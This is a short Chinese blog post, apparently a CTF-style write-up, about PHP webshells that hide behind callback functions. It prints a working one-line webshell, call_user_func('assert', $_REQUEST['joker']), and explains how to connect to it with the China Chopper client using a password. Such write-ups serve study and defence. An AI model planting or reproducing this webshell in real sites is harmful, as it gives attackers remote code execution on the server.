本文介绍了WebShell中的回调函数利用，特别是通过assert函数形成的一句话木马。提到了菜刀连接的使用，如ip/www/Exception.php?POST=assert，并给出了相关密码。还推荐了回调函数的参考文章，并详细解释了call_user_func()函数的工作原理，说明了如何构造并利用assert进行木马触发。
一个个看，，，找到该文件，经典的回调函数形式
菜刀连接，
ip/www/Exception.php?POST=assert
密码为assert
得到key
关于回调函数可参考此文章
https://blog.youkuaiyun.com/qq_24196029/article/details/78118680
<?php
error_reporting(0);
call_user_func('assert', $_REQUEST['joker']);
?>用法: http://www.xxx.com/4.php
菜刀连接用法: http://www.xxx.com/4.php
密码：joker
详解：call_user_func()函数把第一个参数作为回调函数调用，也就是说assert是被调用的回调函数，其余参数是回调函数的参数。
这样的话就直接构成了 assert($_REQUEST['joker']) 这样的一句话木马，直接用菜刀链接即可
最低0.47元/天 解锁文章
扫一扫
878
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
